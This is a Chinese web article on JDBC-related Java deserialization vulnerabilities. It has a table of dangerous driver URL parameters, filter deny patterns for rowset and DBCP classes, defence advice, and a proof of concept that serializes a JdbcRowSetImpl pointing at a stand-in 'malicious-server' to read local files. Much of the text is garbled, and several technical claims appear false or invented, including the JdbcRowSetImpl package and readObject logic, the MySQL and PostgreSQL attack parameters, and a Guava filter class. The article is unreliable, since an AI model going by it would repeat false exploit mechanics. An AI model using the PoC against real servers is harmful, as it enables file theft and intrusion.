Java JDBC 反序列化實(shí)戰(zhàn)案例
JDBC(Java Database Connectivity)是Java訪問數(shù)據(jù)庫的標(biāo)準(zhǔn)API,其核心定位是提供數(shù)據(jù)庫連接、SQL執(zhí)行、結(jié)果集處理的內(nèi)存態(tài)操作接口——JDBC核心組件(Driver、Connection、Statement、ResultSet)本身不設(shè)計(jì)序列化/反序列化能力,也不建議被持久化或跨網(wǎng)絡(luò)傳輸。
但在實(shí)際開發(fā)中,基于JDBC的擴(kuò)展組件(如RowSet、數(shù)據(jù)源實(shí)現(xiàn))或自定義JDBC封裝類,可能因?qū)崿F(xiàn)Serializable接口、反序列化時(shí)執(zhí)行危險(xiǎn)操作(如加載惡意類、執(zhí)行SQL注入、連接惡意數(shù)據(jù)庫),導(dǎo)致反序列化漏洞。
一、核心前提:JDBC與序列化的本質(zhì)關(guān)系
1. JDBC核心組件的設(shè)計(jì)初衷
JDBC核心API(java.sql.*包)的對象(如Connection、Statement、ResultSet)是數(shù)據(jù)庫連接的運(yùn)行時(shí)句柄,依賴底層Socket連接和數(shù)據(jù)庫會話狀態(tài),設(shè)計(jì)目標(biāo)是“內(nèi)存中臨時(shí)使用”,不支持序列化(未實(shí)現(xiàn)Serializable接口)。
2. 風(fēng)險(xiǎn)來源:JDBC擴(kuò)展組件的序列化支持
漏洞并非來自JDBC標(biāo)準(zhǔn)本身,而是來自基于JDBC的擴(kuò)展組件——這些組件為了支持“數(shù)據(jù)持久化”或“跨進(jìn)程傳輸”,實(shí)現(xiàn)了Serializable接口,但在反序列化過程中執(zhí)行了危險(xiǎn)邏輯:
- JDK自帶:
javax.sql.rowset.JdbcRowSetImpl、CachedRowSetImpl、WebRowSetImpl(RowSet接口的實(shí)現(xiàn),封裝了JDBC連接邏輯); - 第三方數(shù)據(jù)源:Apache DBCP的
BasicDataSource、C3P0的ComboPooledDataSource(序列化時(shí)存儲了數(shù)據(jù)庫連接配置); - ORM工具集成:Hibernate的
PersistentBag、MyBatis的ResultMap(若封裝了JDBC相關(guān)對象并支持序列化); - 自定義封裝類:開發(fā)者自定義的JDBC工具類(如
Serializable的DBHelper),反序列化時(shí)執(zhí)行數(shù)據(jù)庫連接或SQL執(zhí)行。
二、典型漏洞原理:以JdbcRowSetImpl為例
JdbcRowSetImpl是JDK自帶的RowSet實(shí)現(xiàn)(javax.sql.rowset包),支持序列化,其反序列化漏洞是JDBC相關(guān)反序列化風(fēng)險(xiǎn)的典型代表,影響JDK 8u121之前的版本(后續(xù)JDK通過安全修復(fù)限制了危險(xiǎn)操作)。
1. 漏洞觸發(fā)鏈路
JdbcRowSetImpl的反序列化漏洞核心是:反序列化時(shí)自動執(zhí)行數(shù)據(jù)庫連接邏輯,且連接參數(shù)(URL、驅(qū)動類、用戶名、密碼)可被攻擊者控制。
關(guān)鍵流程拆解:
// 1. JdbcRowSetImpl實(shí)現(xiàn)Serializable接口,允許序列化/反序列化
public class JdbcRowSetImpl implements Serializable, JdbcRowSet { ... }
// 2. 反序列化時(shí)調(diào)用readObject()方法(默認(rèn)或自定義)
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject(); // 讀取序列化的屬性(url、user、password、driverClass等)
internalInit(); // 初始化內(nèi)部狀態(tài)
connect(); // 關(guān)鍵:反序列化時(shí)自動建立數(shù)據(jù)庫連接
}
// 3. connect()方法的危險(xiǎn)邏輯
private void connect() throws SQLException {
if (driverClass != null) {
Class.forName(driverClass); // 加載驅(qū)動類(若driverClass可控,可加載惡意類)
}
// 建立數(shù)據(jù)庫連接(若URL可控,可利用JDBC驅(qū)動的危險(xiǎn)參數(shù)執(zhí)行命令)
this.conn = DriverManager.getConnection(url, user, password);
}2. 漏洞放大:JDBC驅(qū)動的危險(xiǎn)特性
不同數(shù)據(jù)庫的JDBC驅(qū)動支持一些“危險(xiǎn)URL參數(shù)”,若攻擊者控制JdbcRowSetImpl的url屬性,可通過這些參數(shù)執(zhí)行惡意操作:
| 數(shù)據(jù)庫 | 危險(xiǎn)URL參數(shù) | 危害 |
|---|---|---|
| MySQL | allowLoadLocalInfile=true | 讀取本地文件(配合SQL注入) |
| MySQL | logOutput=FILE&logFile=/tmp/malicious.sh | 寫入惡意文件 |
| PostgreSQL | options=-c 'shell command' | 執(zhí)行系統(tǒng)命令(需數(shù)據(jù)庫權(quán)限) |
| 惡意驅(qū)動 | jdbc:malicious://... | 加載自定義惡意JDBC驅(qū)動,執(zhí)行任意代碼 |
3. 漏洞觸發(fā)條件
- 應(yīng)用程序?qū)?strong>不可信數(shù)據(jù)(如網(wǎng)絡(luò)傳輸、文件上傳、緩存、日志)執(zhí)行反序列化;
- 應(yīng)用依賴JDK 8u121之前的版本(未修復(fù)該漏洞);
- 攻擊者可控制序列化數(shù)據(jù)中的
JdbcRowSetImpl屬性(url、driverClass、user、password)。
三、其他JDBC相關(guān)反序列化風(fēng)險(xiǎn)點(diǎn)
1. 第三方數(shù)據(jù)源組件
- Apache DBCP
BasicDataSource:序列化時(shí)存儲了url、username、password、driverClassName等配置,反序列化時(shí)若參數(shù)被篡改,可能導(dǎo)致連接惡意數(shù)據(jù)庫或泄露敏感信息; - C3P0
ComboPooledDataSource:同理,序列化的連接池配置可被篡改,反序列化時(shí)初始化惡意連接池。
2. ORM工具與JDBC的結(jié)合場景
- Hibernate:若實(shí)體類包含
Serializable的JDBC相關(guān)對象(如ResultSet封裝類),且反序列化時(shí)觸發(fā)懶加載,可能執(zhí)行惡意SQL; - MyBatis:若
ResultMap對應(yīng)的實(shí)體類實(shí)現(xiàn)Serializable,且反序列化時(shí)觸發(fā)@PostConstruct或自定義readObject中的JDBC操作,可能被利用。
3. 自定義JDBC封裝類
開發(fā)者常自定義Serializable的JDBC工具類(如DBUtil),若存在以下情況,可能引入漏洞:
readObject方法中直接執(zhí)行Class.forName(driverClass)(驅(qū)動類可控);- 反序列化時(shí)自動執(zhí)行
executeQuery(sql)(SQL語句可控,導(dǎo)致SQL注入); - 序列化數(shù)據(jù)中包含數(shù)據(jù)庫密碼,未加密導(dǎo)致泄露。
四、漏洞防御方案(核心:阻斷危險(xiǎn)反序列化鏈路)
JDBC相關(guān)反序列化漏洞的防御核心是:避免序列化JDBC相關(guān)對象、限制反序列化類范圍、禁用危險(xiǎn)功能、驗(yàn)證數(shù)據(jù)來源。
1. 根本原則:禁止序列化JDBC相關(guān)對象
- 不序列化
RowSet、DataSource、Connection等JDBC相關(guān)對象; - 若需跨進(jìn)程傳輸數(shù)據(jù)庫查詢結(jié)果,使用DTO(數(shù)據(jù)傳輸對象) 封裝純數(shù)據(jù)(如
UserDTO包含id、name),而非直接序列化ResultSet或RowSet; - 替代方案:使用JSON、XML等安全序列化格式(如Jackson、Fastjson),而非Java原生序列化。
2. 限制反序列化的類范圍(最有效)
使用反序列化過濾器,只允許信任的類進(jìn)行反序列化,禁止危險(xiǎn)類(如javax.sql.rowset.*、第三方數(shù)據(jù)源類):
- Java 9+:使用
ObjectInputFilter(JDK原生支持); - Java 8及以下:使用第三方庫(如Apache Commons IO的
ValidatingObjectInputStream、Google Guava的SerializationFilters)。
示例:Java 9+ ObjectInputFilter配置
// 僅允許com.example包下的類和Java基礎(chǔ)類反序列化,禁止javax.sql.rowset.*
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.example.*; java.base/*; !javax.sql.rowset.*; !org.apache.commons.dbcp.*"
);
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter); // 設(shè)置過濾器
Object obj = ois.readObject(); // 僅允許白名單類反序列化
3. 禁用JDBC驅(qū)動的危險(xiǎn)功能
配置JDBC URL時(shí),顯式禁用危險(xiǎn)參數(shù):
- MySQL:
allowLoadLocalInfile=false、logOutput=NONE; - PostgreSQL:避免使用
options參數(shù),或限制數(shù)據(jù)庫用戶權(quán)限(禁止執(zhí)行shell命令); - 禁用不必要的JDBC驅(qū)動:僅加載應(yīng)用所需的數(shù)據(jù)庫驅(qū)動,避免加載惡意驅(qū)動(如通過
DriverManager.deregisterDriver()移除無用驅(qū)動)。
4. 驗(yàn)證序列化數(shù)據(jù)的來源與完整性
- 僅對可信來源(如內(nèi)部服務(wù)、加密存儲)的數(shù)據(jù)進(jìn)行反序列化;
- 對序列化數(shù)據(jù)進(jìn)行簽名或加密(如使用AES加密+RSA簽名),反序列化前驗(yàn)證簽名,防止數(shù)據(jù)被篡改。
5. 升級依賴組件
- 升級JDK:至8u121+(修復(fù)
JdbcRowSetImpl反序列化漏洞)或更高版本; - 升級JDBC驅(qū)動:使用官方最新版本,修復(fù)已知的URL參數(shù)注入、驅(qū)動類加載漏洞;
- 升級數(shù)據(jù)源/ORM框架:如Apache DBCP 2.9.0+、C3P0 0.9.5.9+、Hibernate 5.6.14.Final+。
6. 避免自定義危險(xiǎn)的readObject方法
若必須自定義Serializable類(如DTO),需滿足:
readObject方法中不執(zhí)行危險(xiǎn)操作(類加載、數(shù)據(jù)庫連接、SQL執(zhí)行、命令調(diào)用);- 對反序列化的屬性(如
url、driverClass)進(jìn)行嚴(yán)格校驗(yàn)(如正則匹配合法URL格式、白名單校驗(yàn)驅(qū)動類名)。
五、實(shí)戰(zhàn)案例:JdbcRowSetImpl漏洞POC(僅供學(xué)習(xí))
以下POC演示如何構(gòu)造惡意JdbcRowSetImpl序列化數(shù)據(jù),觸發(fā)反序列化時(shí)的惡意數(shù)據(jù)庫連接(需在JDK 8u121之前環(huán)境測試):
1. 構(gòu)造惡意序列化數(shù)據(jù)
import javax.sql.rowset.JdbcRowSetImpl;
import java.io.*;
public class JdbcRowSetPoc {
public static void main(String[] args) throws Exception {
// 1. 構(gòu)造惡意JdbcRowSetImpl對象(控制URL和驅(qū)動類)
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
rowSet.setUrl("jdbc:mysql://malicious-server:3306/test?allowLoadLocalInfile=true"); // 惡意URL
rowSet.setDriverClass("com.mysql.cj.jdbc.Driver"); // 合法驅(qū)動(或惡意驅(qū)動類名)
rowSet.setUsername("attacker");
rowSet.setPassword("pass123");
// 2. 序列化對象到字節(jié)流(攻擊者可將該字節(jié)流注入目標(biāo)應(yīng)用)
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(rowSet);
byte[] maliciousData = bos.toByteArray();
// 3. 目標(biāo)應(yīng)用反序列化(模擬漏洞觸發(fā))
ByteArrayInputStream bis = new ByteArrayInputStream(maliciousData);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject(); // 反序列化時(shí)觸發(fā)connect(),連接惡意MySQL服務(wù)器
}
}2. 漏洞危害說明
- 若
driverClass設(shè)為惡意類(如com.attacker.MaliciousDriver),且該類可被目標(biāo)應(yīng)用加載(如通過類路徑注入),則Class.forName(driverClass)會執(zhí)行惡意類的靜態(tài)代碼塊; - 若
url包含MySQL的allowLoadLocalInfile=true,配合后續(xù)SQL注入,可讀取目標(biāo)服務(wù)器本地文件(如/etc/passwd); - 連接惡意數(shù)據(jù)庫服務(wù)器,可能泄露應(yīng)用的敏感信息(如用戶名、密碼、業(yè)務(wù)數(shù)據(jù))。
六、總結(jié):JDBC反序列化漏洞的核心認(rèn)知
- 漏洞根源不是JDBC本身:JDBC標(biāo)準(zhǔn)API不支持序列化,風(fēng)險(xiǎn)來自“實(shí)現(xiàn)了
Serializable的JDBC擴(kuò)展組件”和“不當(dāng)?shù)男蛄谢瘜?shí)踐”; - 觸發(fā)核心是“反序列化+危險(xiǎn)操作”:漏洞的關(guān)鍵是反序列化過程中自動執(zhí)行數(shù)據(jù)庫連接、類加載等危險(xiǎn)邏輯,且輸入?yún)?shù)可控;
- 防御核心是“最小權(quán)限+可信數(shù)據(jù)”:限制反序列化類范圍、禁止序列化JDBC相關(guān)對象、禁用危險(xiǎn)功能、驗(yàn)證數(shù)據(jù)來源,即可阻斷絕大多數(shù)風(fēng)險(xiǎn)。
在實(shí)際開發(fā)中,應(yīng)遵循“能不序列化則不序列化”的原則,若必須序列化,僅傳輸純數(shù)據(jù)(DTO),而非包含業(yè)務(wù)邏輯(如數(shù)據(jù)庫連接)的對象。同時(shí),通過反序列化過濾器、組件升級、參數(shù)校驗(yàn)等手段,構(gòu)建多層防御體系。
到此這篇關(guān)于Java JDBC 反序列化深度解析的文章就介紹到這了,更多相關(guān)Java JDBC 反序列化內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
SpringBoot配置Redis實(shí)現(xiàn)保存獲取和刪除數(shù)據(jù)
本文主要介紹了SpringBoot配置Redis實(shí)現(xiàn)保存獲取和刪除數(shù)據(jù),文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,感興趣的小伙伴們可以參考一下2021-06-06
Mybatis空值關(guān)聯(lián)的具體實(shí)現(xiàn)
在復(fù)雜的數(shù)據(jù)庫查詢中,處理空值關(guān)聯(lián)是一項(xiàng)常見的需求,本文就來介紹一下Mybatis空值關(guān)聯(lián)的具體實(shí)現(xiàn),文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2024-07-07
java wait()/notify() 實(shí)現(xiàn)生產(chǎn)者消費(fèi)者模式詳解
這篇文章主要介紹了java wait()/notify() 實(shí)現(xiàn)生產(chǎn)者消費(fèi)者模式詳解,具有很好的參考價(jià)值,希望對大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2021-07-07
使用 Apache POI 在 Java 中寫入 Excel
這篇文章詳細(xì)介紹了如何使用ApachePOI在Java中編寫Excel文件的技巧,包括創(chuàng)建工作簿、工作表、行和單元格,以及如何處理不同版本的Excel文件,通過詳細(xì)的步驟和代碼示例,讀者可以快速掌握ApachePOI的基本使用方法,感興趣的朋友一起看看吧2025-02-02
SpringBoot集成pf4j實(shí)現(xiàn)插件開發(fā)功能的代碼示例
pf4j是一個(gè)插件框架,用于實(shí)現(xiàn)插件的動態(tài)加載,支持的插件格式(zip、jar),本文給大家介紹了SpringBoot集成pf4j實(shí)現(xiàn)插件開發(fā)功能的示例,文中通過代碼示例給大家講解的非常詳細(xì),需要的朋友可以參考下2024-07-07
Java實(shí)現(xiàn)JDK動態(tài)代理的原理詳解
這篇文章主要介紹了Java實(shí)現(xiàn)JDK動態(tài)代理的原理詳解,Java常用的動態(tài)代理模式有JDK動態(tài)代理,也有cglib動態(tài)代理,本文重點(diǎn)講解JDK的動態(tài)代理,需要的小伙伴可以參考一下的相關(guān)資料2022-07-07
JavaWeb簡單用戶登錄注冊實(shí)例代碼(有驗(yàn)證碼)
這篇文章主要介紹了JavaWeb簡單用戶登錄注冊實(shí)例代碼,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-02-02

